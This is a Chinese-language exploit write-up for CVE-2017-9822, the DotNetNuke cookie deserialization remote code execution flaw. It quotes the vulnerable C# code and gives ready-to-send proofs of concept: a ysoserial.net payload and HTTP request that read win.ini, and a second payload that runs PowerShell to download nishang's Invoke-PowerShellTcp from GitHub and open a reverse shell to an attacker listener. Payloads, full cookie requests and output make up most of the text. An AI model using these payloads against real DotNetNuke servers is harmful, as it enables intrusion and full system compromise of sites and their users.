[CVE-2017-9822] DotNetNuke Cookie 反序列化远程代码执行 (RCE)
DotNetNuke (DNN) 版本 5.0.0 至 9.3.0 存在反序列化漏洞，可导致远程代码执行 (RCE)。DotNetNuke 使用 DNNPersonalization cookie 来存储匿名用户的个性化选项（已验证用户的选项通过其个人资料页面存储）。当应用程序提供自定义 404 错误页面时（这也是默认设置），会使用此 cookie。
有漏洞的 C# 代码如下所示：DNN Platform/Library/Common/Utilities/XmlUtils.cs
public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
var HashTable = new Hashtable();
if (!String.IsNullOrEmpyt(xmlSource))
{
try
{
var xmlDoc = new XmlDocument();
xmlDoc.LoadXml(xmlSource);
foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
{
string key = xmlItem.GetAttribute("key");
string typeName = xmlItem.GetAttribute("type");
// Create the XmlSerializer
var xser = new XmlSerializer(Type.GetType(typeName));
var readder = new XmlTextReadder(new StringReader(xmlItem.InnerXml));
// Use the Deserialize method to restore the object's state, and store it
// in the Hashtable
hashTable.Add(key, xser.Deserialize(reader));
}
}
catch(Exception)
{
// Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
}
}
return hashTable;
}
注意，修复后的代码可在 DotNetNuke github 仓库 中找到
预期的结构包含一个 type 属性，用于指示服务器在反序列化时要创建的对象类型。每当应用程序尝试加载当前用户的个人资料数据时，就会处理该 cookie；当 DNN 配置为使用其内置错误页面处理 404 错误时（默认配置），就会发生这种情况。攻击者可以利用此漏洞在系统上执行任意代码。
概念验证 (PoC) 1：安全模式（仅检测）
为了生成 payload（检查漏洞），请使用 YSoSerial.net 的 DotNetNuke 插件
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Plugin:
DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
Options:
-m, --mode=VALUE the payload mode: read_file, write_file,
run_command.
-c, --command=VALUE the command to be executed in run_command mode.
-u, --url=VALUE the url to fetch the file from in write_file
mode.
-f, --file=VALUE the file to read in read_file mode or the file
to write to in write_file_mode.
--minify Whether to minify the payloads where applicable
(experimental). Default: false
--ust, --usesimpletype This is to remove additional info only when
minifying and FormatterAssemblyStyle=Simple.
Default: true
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini
或直接使用以下 payload
<profile>
<item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement />
<ProjectedProperty0>
<MethodName>WriteFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
如果一切顺利，以下请求将在响应体中返回 win.ini 文件的内容。
GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
Set-Cookie: .ASPXANONYMOUS=...; expires=Wed, 28-Oct-2020 03:54:58 GMT; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 19 Aug 2020 17:14:58 GMT
Connection: close
Content-Length: 109
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
概念验证 (PoC) 2：激进模式（通过 powershell 反弹 TCP shell 进行利用）
在本地机器上，监听任何未使用的端口
$ nc -nlvp 7575
使用 YSoSerial.net 的 DotNetNuke 插件生成 payload
PS C:\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p DotNetNuke -m run_command -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.101 -Port 7575"
Payload
<profile>
<item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
<ProjectedProperty0>
<ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" />
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
</item>
</profile>
GET /__ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>
原博客文章可在此处找到：here
此外，还有一个针对 CVE-2017-9822 的 Metasploit 模块，评级为 Excellent。您可以在 exploit/windows/http/dnn_cookie_deserialization_rce 找到该 Metasploit 模块的 Ruby 代码。
如果您想深入了解 CVE-2017-9822，这里有一个关于 Metasploit 模块的文档完善的 pull request